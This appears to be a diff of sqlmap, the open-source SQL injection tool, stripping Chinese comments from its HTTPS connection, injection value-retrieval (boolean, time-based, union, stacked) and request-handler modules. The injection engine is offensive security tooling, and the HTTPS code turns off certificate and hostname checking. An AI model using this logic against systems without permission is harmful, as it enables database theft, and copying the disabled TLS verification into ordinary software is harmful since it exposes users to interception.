# 获取所有可用的SSL/TLS协议版本,并存储在_protocols列表中
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
# 创建协议名称和值的映射字典
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
# 存储SSL上下文的字典
_contexts = {} _contexts = {}
class HTTPSConnection(_http_client.HTTPSConnection): class HTTPSConnection(_http_client.HTTPSConnection):
""" """
自定义HTTPS连接类,支持使用较新的SSL协议 Connection class that enables usage of newer SSL protocols.
继承自标准库的HTTPSConnection类
参考: http://bugs.python.org/msg128686 Reference: http://bugs.python.org/msg128686
注意: 使用 https://check-tls.akamaized.net/ 检查TLS/SNI是否正常工作 NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly
""" """
def __init__(self, *args, **kwargs): def __init__(self, *args, **kwargs):
# 修复Python bug: https://bugs.python.org/issue38251 # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
if hasattr(ssl, "_create_default_https_context"): if hasattr(ssl, "_create_default_https_context"):
if None not in _contexts: if None not in _contexts:
_contexts[None] = ssl._create_default_https_context() _contexts[None] = ssl._create_default_https_context()
kwargs["context"] = _contexts[None] kwargs["context"] = _contexts[None]
# 重试标志
self.retrying = False self.retrying = False
# 调用父类初始化方法
_http_client.HTTPSConnection.__init__(self, *args, **kwargs) _http_client.HTTPSConnection.__init__(self, *args, **kwargs)
def connect(self): def connect(self):
# 创建socket连接的内部函数
def create_sock(): def create_sock():
sock = socket.create_connection((self.host, self.port), self.timeout) sock = socket.create_connection((self.host, self.port), self.timeout)
if getattr(self, "_tunnel_host", None): if getattr(self, "_tunnel_host", None):
@ -70,33 +61,31 @@ class HTTPSConnection(_http_client.HTTPSConnection):
success = False success = False
# 使用SSLContext方式建立SSL连接(Python 2.7.9及更高版本支持) # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if hasattr(ssl, "SSLContext"): if hasattr(ssl, "SSLContext"):
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
try: try:
sock = create_sock() sock = create_sock()
if protocol not in _contexts: if protocol not in _contexts:
# 创建SSL上下文
_contexts[protocol] = ssl.SSLContext(protocol) _contexts[protocol] = ssl.SSLContext(protocol)
# 禁用证书和主机名验证 # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT
_contexts[protocol].check_hostname = False _contexts[protocol].check_hostname = False
_contexts[protocol].verify_mode = ssl.CERT_NONE _contexts[protocol].verify_mode = ssl.CERT_NONE
# 如果提供了证书和密钥文件,则加载它们
if getattr(self, "cert_file", None) and getattr(self, "key_file", None): if getattr(self, "cert_file", None) and getattr(self, "key_file", None):
_contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file)
try: try:
# 设置加密套件 # Reference(s): https://askubuntu.com/a/1263098
# https://askubuntu.com/a/1250807
_contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1")
except (ssl.SSLError, AttributeError): except (ssl.SSLError, AttributeError):
pass pass
# 包装socket并进行SSL握手
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None)
if result: if result:
success = True success = True
self.sock = result self.sock = result
# 将成功的协议移到列表开头
_protocols.remove(protocol) _protocols.remove(protocol)
_protocols.insert(0, protocol) _protocols.insert(0, protocol)
break break
@ -106,7 +95,6 @@ class HTTPSConnection(_http_client.HTTPSConnection):
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
# 使用旧式ssl.wrap_socket方式建立SSL连接(用于较老版本的Python)
elif hasattr(ssl, "wrap_socket"): elif hasattr(ssl, "wrap_socket"):
for protocol in _protocols: for protocol in _protocols:
try: try:
@ -124,14 +112,12 @@ class HTTPSConnection(_http_client.HTTPSConnection):
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
# 如果所有协议都连接失败
if not success: if not success:
errMsg = "can't establish SSL connection" errMsg = "can't establish SSL connection"
# 对于Python 2.7.9之前的版本,建议升级 # Reference: https://docs.python.org/2/library/ssl.html
if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): if LooseVersion(PYVERSION) < LooseVersion("2.7.9"):
errMsg += " (please retry with Python >= 2.7.9)" errMsg += " (please retry with Python >= 2.7.9)"
# 如果之前有成功连接过且未在重试,则进行重试
if kb.sslSuccess and not self.retrying: if kb.sslSuccess and not self.retrying:
self.retrying = True self.retrying = True
@ -148,9 +134,5 @@ class HTTPSConnection(_http_client.HTTPSConnection):
kb.sslSuccess = True kb.sslSuccess = True
class HTTPSHandler(_urllib.request.HTTPSHandler): class HTTPSHandler(_urllib.request.HTTPSHandler):
"""
HTTPS处理器类,用于处理HTTPS请求
"""
def https_open(self, req): def https_open(self, req):
# 根据是否有ssl模块选择合适的连接类来处理请求
return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req)

@ -314,42 +314,30 @@ def _goBooleanProxy(expression):
Retrieve the output of a boolean based SQL query Retrieve the output of a boolean based SQL query
""" """
# 初始化技术
initTechnique(getTechnique()) initTechnique(getTechnique())
# 如果配置了dns域名
if conf.dnsDomain: if conf.dnsDomain:
# 获取查询语句
query = agent.prefixQuery(getTechniqueData().vector) query = agent.prefixQuery(getTechniqueData().vector)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
# 获取payload
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
# 执行dns查询
output = _goDns(payload, expression) output = _goDns(payload, expression)
# 如果查询结果不为空,则返回
if output is not None: if output is not None:
return output return output
# 获取查询语句
vector = getTechniqueData().vector vector = getTechniqueData().vector
vector = vector.replace(INFERENCE_MARKER, expression) vector = vector.replace(INFERENCE_MARKER, expression)
query = agent.prefixQuery(vector) query = agent.prefixQuery(vector)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
# 获取payload
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
# 判断是否是时间相关的技术
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
# 从hash数据库中获取查询结果
output = hashDBRetrieve(expression, checkConf=True) output = hashDBRetrieve(expression, checkConf=True)
# 如果查询结果为空,则执行查询
if output is None: if output is None:
output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
# 如果查询结果不为空则将结果写入hash数据库
if output is not None: if output is not None:
hashDBWrite(expression, output) hashDBWrite(expression, output)
@ -361,10 +349,8 @@ def _goUnion(expression, unpack=True, dump=False):
injection vulnerability on the affected parameter. injection vulnerability on the affected parameter.
""" """
# 执行联合查询
output = unionUse(expression, unpack=unpack, dump=dump) output = unionUse(expression, unpack=unpack, dump=dump)
# 如果输出是字符串类型,则解析输出
if isinstance(output, six.string_types): if isinstance(output, six.string_types):
output = parseUnionPage(output) output = parseUnionPage(output)
@ -378,7 +364,6 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
affected parameter. affected parameter.
""" """
# 如果配置了hex转换并且数据库类型已知则设置字符集类型为十六进制
if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms():
if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"):
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
@ -387,39 +372,31 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
else: else:
charsetType = CHARSET_TYPE.HEXADECIMAL charsetType = CHARSET_TYPE.HEXADECIMAL
# 设置安全字符编码和恢复值
kb.safeCharEncode = safeCharEncode kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue kb.resumeValues = resumeValue
# 将表达式中的关键字转换为大写
for keyword in GET_VALUE_UPPERCASE_KEYWORDS: for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression)
# 如果抑制输出不为空,则设置当前线程的抑制输出
if suppressOutput is not None: if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut) pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput getCurrentThreadData().disableStdOut = suppressOutput
try: try:
# 保存当前数据库和表
pushValue(conf.db) pushValue(conf.db)
pushValue(conf.tbl) pushValue(conf.tbl)
# 如果期望的输出是布尔类型
if expected == EXPECTED.BOOL: if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression forgeCaseExpression = booleanExpression = expression
# 如果表达式以SELECT开头则将表达式转换为布尔表达式
if expression.startswith("SELECT "): if expression.startswith("SELECT "):
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
else: else:
forgeCaseExpression = agent.forgeCaseStatement(expression) forgeCaseExpression = agent.forgeCaseStatement(expression)
# 如果直接执行
if conf.direct: if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
# 如果使用了任何公开的技术
elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
query = cleanQuery(expression) query = cleanQuery(expression)
query = expandAsteriskForColumns(query) query = expandAsteriskForColumns(query)
@ -482,72 +459,52 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += "(%s) " % _ warnMsg += "(%s) " % _
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 如果启用了盲注,并且布尔技术可用,且未找到结果,则设置布尔技术
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
# 如果期望的结果是布尔值则使用_goBooleanProxy函数获取结果
if expected == EXPECTED.BOOL: if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression) value = _goBooleanProxy(booleanExpression)
# 否则使用_goInferenceProxy函数获取结果
else: else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
# 计数加一
count += 1 count += 1
# 如果结果不为空或者结果为空且期望结果为空或者计数大于等于最大技术数则设置found为True
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
# 如果启用了时间注入,并且时间或堆栈技术可用,且未找到结果,则设置时间或堆栈技术
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
# 使用正则表达式匹配表达式中的FROM和ORDER BY
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
# 将匹配结果设置为kb.responseTimeMode
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
# 如果时间技术可用,则设置时间技术
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
setTechnique(PAYLOAD.TECHNIQUE.TIME) setTechnique(PAYLOAD.TECHNIQUE.TIME)
# 否则,设置堆栈技术
else: else:
setTechnique(PAYLOAD.TECHNIQUE.STACKED) setTechnique(PAYLOAD.TECHNIQUE.STACKED)
# 如果期望的结果是布尔值则使用_goBooleanProxy函数获取结果
if expected == EXPECTED.BOOL: if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression) value = _goBooleanProxy(booleanExpression)
# 否则使用_goInferenceProxy函数获取结果
else: else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
else: else:
# 如果没有找到可用的注入类型,则抛出异常
errMsg = "none of the injection types identified can be " errMsg = "none of the injection types identified can be "
errMsg += "leveraged to retrieve queries output" errMsg += "leveraged to retrieve queries output"
raise SqlmapNotVulnerableException(errMsg) raise SqlmapNotVulnerableException(errMsg)
# 最后恢复kb.resumeValues和kb.responseTimeMode的值
finally: finally:
kb.resumeValues = True kb.resumeValues = True
kb.responseTimeMode = None kb.responseTimeMode = None
# 从kb中弹出tbl和db的值
conf.tbl = popValue() conf.tbl = popValue()
conf.db = popValue() conf.db = popValue()
# 如果suppressOutput不为None则禁用标准输出
if suppressOutput is not None: if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue() getCurrentThreadData().disableStdOut = popValue()
# 设置kb.safeCharEncode为False
kb.safeCharEncode = False kb.safeCharEncode = False
# 如果没有启用测试模式、dummy、离线、noCast、hexConvert且结果为空且数据库已识别且kb.fingerprinted为True则抛出异常或警告
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
# 如果启用了abortOnEmpty则抛出异常
if conf.abortOnEmpty: if conf.abortOnEmpty:
errMsg = "aborting due to empty data retrieval" errMsg = "aborting due to empty data retrieval"
logger.critical(errMsg) logger.critical(errMsg)
raise SystemExit raise SystemExit
# 否则,抛出警告
else: else:
warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' " warnMsg += "a switch '--no-cast' "
@ -586,35 +543,24 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
return extractExpectedValue(value, expected) return extractExpectedValue(value, expected)
def goStacked(expression, silent=False): def goStacked(expression, silent=False):
# 检查是否已经设置了堆叠注入技术
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
# 如果已经设置了堆叠注入技术,则直接设置
setTechnique(PAYLOAD.TECHNIQUE.STACKED) setTechnique(PAYLOAD.TECHNIQUE.STACKED)
else: else:
# 如果没有设置堆叠注入技术,则遍历所有公开的技术
for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
# 获取技术的数据
_ = getTechniqueData(technique) _ = getTechniqueData(technique)
# 如果数据存在,并且标题中包含"stacked",则设置该技术
if _ and "stacked" in _["title"].lower(): if _ and "stacked" in _["title"].lower():
setTechnique(technique) setTechnique(technique)
break break
# 清理查询语句
expression = cleanQuery(expression) expression = cleanQuery(expression)
# 如果配置了直接执行,则直接执行查询语句
if conf.direct: if conf.direct:
return direct(expression) return direct(expression)
# 构造查询语句
query = agent.prefixQuery(";%s" % expression) query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
# 构造payload
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
# 执行查询语句
Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
def checkBooleanExpression(expression, expectingNone=True): def checkBooleanExpression(expression, expectingNone=True):
# 检查布尔表达式
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone)

@ -5,27 +5,16 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入getText函数,用于文本转换
from lib.core.convert import getText from lib.core.convert import getText
# 导入urllib库并重命名为_urllib,用于处理URL请求
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class MethodRequest(_urllib.request.Request): class MethodRequest(_urllib.request.Request):
""" """
继承自urllib.request.Request类 Used to create HEAD/PUT/DELETE/... requests with urllib
用于创建HTTP请求(HEAD/PUT/DELETE等)的自定义请求类
""" """
def set_method(self, method): def set_method(self, method):
# 设置HTTP请求方法 self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!)
# 参数method: 字符串类型,表示HTTP方法(如GET、POST、HEAD等)
# getText()将输入转换为文本格式
# upper()将文本转为大写
self.method = getText(method.upper()) # Python3兼容性处理
def get_method(self): def get_method(self):
# 获取HTTP请求方法
# getattr用于获取对象的属性
# 如果self.method存在就返回它
# 否则返回父类Request默认的get_method()方法的结果
return getattr(self, 'method', _urllib.request.Request.get_method(self)) return getattr(self, 'method', _urllib.request.Request.get_method(self))

@ -5,57 +5,25 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块 from lib.core.data import conf
from lib.core.data import conf # 导入配置信息 from lib.core.common import getSafeExString
from lib.core.common import getSafeExString # 导入安全字符串处理函数 from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapConnectionException # 导入SQL注入连接异常类 from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import http_client as _http_client # 导入HTTP客户端 from thirdparty.six.moves import urllib as _urllib
from thirdparty.six.moves import urllib as _urllib # 导入URL处理库
class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler):
"""
HTTPS PKI认证处理器类
继承自urllib的HTTPSHandler类,用于处理带客户端证书的HTTPS请求
"""
def __init__(self, auth_file): def __init__(self, auth_file):
""" _urllib.request.HTTPSHandler.__init__(self)
初始化函数 self.auth_file = auth_file
参数:
auth_file: 认证文件路径,包含客户端证书和私钥
"""
_urllib.request.HTTPSHandler.__init__(self) # 调用父类初始化
self.auth_file = auth_file # 保存认证文件路径
def https_open(self, req): def https_open(self, req):
"""
处理HTTPS请求的方法
参数:
req: HTTPS请求对象
返回:
处理后的HTTPS连接
"""
return self.do_open(self.getConnection, req) return self.do_open(self.getConnection, req)
def getConnection(self, host, timeout=None): def getConnection(self, host, timeout=None):
"""
建立HTTPS连接的方法
参数:
host: 目标主机
timeout: 超时时间,默认为None
返回:
HTTPS连接对象
异常:
SqlmapConnectionException: 连接异常
"""
try: try:
# 创建带客户端证书的HTTPS连接 # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
# 参考文档: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
return _http_client.HTTPSConnection(host,
cert_file=self.auth_file, # 证书文件
key_file=self.auth_file, # 私钥文件
timeout=conf.timeout) # 超时设置
except IOError as ex: except IOError as ex:
# 如果出现IO错误(比如证书文件无法读取等)
errMsg = "error occurred while using key " errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg) # 抛出SQL注入连接异常 raise SqlmapConnectionException(errMsg)

@ -5,44 +5,25 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入自定义的SQL映射连接异常类
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
# 导入urllib库并重命名为_urllib,用于处理HTTP请求
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class HTTPRangeHandler(_urllib.request.BaseHandler): class HTTPRangeHandler(_urllib.request.BaseHandler):
""" """
处理HTTP Range头部的处理器类 Handler that enables HTTP Range headers.
Range头部允许客户端请求资源的部分内容而不是整个资源
Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file
参考文档: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file
""" """
def http_error_206(self, req, fp, code, msg, hdrs): def http_error_206(self, req, fp, code, msg, hdrs):
""" # 206 Partial Content Response
处理206状态码(部分内容响应)
参数说明:
req: 原始请求对象
fp: 类文件对象,包含响应内容
code: HTTP状态码(206)
msg: 响应消息
hdrs: 响应头部信息
"""
# 创建并返回一个包含部分内容的响应对象
r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url())
r.code = code # 设置响应状态码 r.code = code
r.msg = msg # 设置响应消息 r.msg = msg
return r return r
def http_error_416(self, req, fp, code, msg, hdrs): def http_error_416(self, req, fp, code, msg, hdrs):
""" # HTTP's Range Not Satisfiable error
处理416状态码(请求范围不满足)
当请求的范围超出资源的实际范围时会触发此错误
参数说明与http_error_206相同
"""
# 构建错误信息
errMsg = "there was a problem while connecting " errMsg = "there was a problem while connecting "
errMsg += "target ('406 - Range Not Satisfiable')" errMsg += "target ('406 - Range Not Satisfiable')"
# 抛出SQL映射连接异常
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)

@ -5,13 +5,11 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库和第三方库
import io import io
import re import re
import time import time
import types import types
# 导入自定义工具函数
from lib.core.common import getHostHeader from lib.core.common import getHostHeader
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import logHTTPTraffic from lib.core.common import logHTTPTraffic
@ -38,17 +36,7 @@ from thirdparty import six
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
"""
智能重定向处理器类,继承自urllib的HTTPRedirectHandler
用于处理HTTP重定向响应(301/302/303/307)
"""
def _get_header_redirect(self, headers): def _get_header_redirect(self, headers):
"""
从响应头中获取重定向URL
:param headers: HTTP响应头
:return: 重定向URL或None
"""
retVal = None retVal = None
if headers: if headers:
@ -60,21 +48,13 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
return retVal return retVal
def _ask_redirect_choice(self, redcode, redurl, method): def _ask_redirect_choice(self, redcode, redurl, method):
"""
询问用户是否要跟随重定向
:param redcode: 重定向状态码
:param redurl: 重定向URL
:param method: HTTP请求方法
"""
with kb.locks.redirect: with kb.locks.redirect:
# 如果还没有做出重定向选择
if kb.choices.redirect is None: if kb.choices.redirect is None:
msg = "got a %d redirect to " % redcode msg = "got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl msg += "'%s'. Do you want to follow? [Y/n] " % redurl
kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
# 如果是POST请求导致的重定向,询问是否要重发POST数据
if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None:
msg = "redirect is a result of a " msg = "redirect is a result of a "
msg += "POST request. Do you want to " msg += "POST request. Do you want to "
@ -87,49 +67,31 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
self.redirect_request = self._redirect_request self.redirect_request = self._redirect_request
def _redirect_request(self, req, fp, code, msg, headers, newurl): def _redirect_request(self, req, fp, code, msg, headers, newurl):
"""
创建重定向请求
:return: 新的Request对象
"""
return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host)
def http_error_302(self, req, fp, code, msg, headers): def http_error_302(self, req, fp, code, msg, headers):
"""
处理302重定向响应
:param req: 原始请求
:param fp: 响应文件对象
:param code: 状态码
:param msg: 状态消息
:param headers: 响应头
:return: 处理后的响应对象
"""
start = time.time() start = time.time()
content = None content = None
forceRedirect = False forceRedirect = False
# 如果未忽略重定向,则获取重定向URL
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
# 读取响应内容
try: try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE) content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except: # 处理不完整读取 except: # e.g. IncompleteRead
content = b"" content = b""
finally: finally:
if content: if content:
try: # 尝试将内容写回读取缓冲区以便后续使用 try: # try to write it back to the read buffer so we could reuse it in further steps
fp.fp._rbuf.truncate(0) fp.fp._rbuf.truncate(0)
fp.fp._rbuf.write(content) fp.fp._rbuf.write(content)
except: except:
pass pass
# 解码响应内容
content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE))
# 记录重定向信息
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.lastRedirectMsg = (threadData.lastRequestUID, content) threadData.lastRedirectMsg = (threadData.lastRequestUID, content)
# 构建重定向日志消息
redirectMsg = "HTTP redirect " redirectMsg = "HTTP redirect "
redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg))
@ -142,39 +104,31 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
if content: if content:
redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE])
# 记录HTTP流量日志
logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)
if redurl: if redurl:
try: try:
# 如果重定向URL是相对路径,转换为绝对路径
if not _urllib.parse.urlsplit(redurl).netloc: if not _urllib.parse.urlsplit(redurl).netloc:
redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) redurl = _urllib.parse.urljoin(req.get_full_url(), redurl)
# 检查是否存在无限重定向循环
self._infinite_loop_check(req) self._infinite_loop_check(req)
if conf.scope: if conf.scope:
# 检查重定向URL是否在指定范围内
if not re.search(conf.scope, redurl, re.I): if not re.search(conf.scope, redurl, re.I):
redurl = None redurl = None
else: else:
forceRedirect = True forceRedirect = True
else: else:
# 询问用户是否跟随重定向
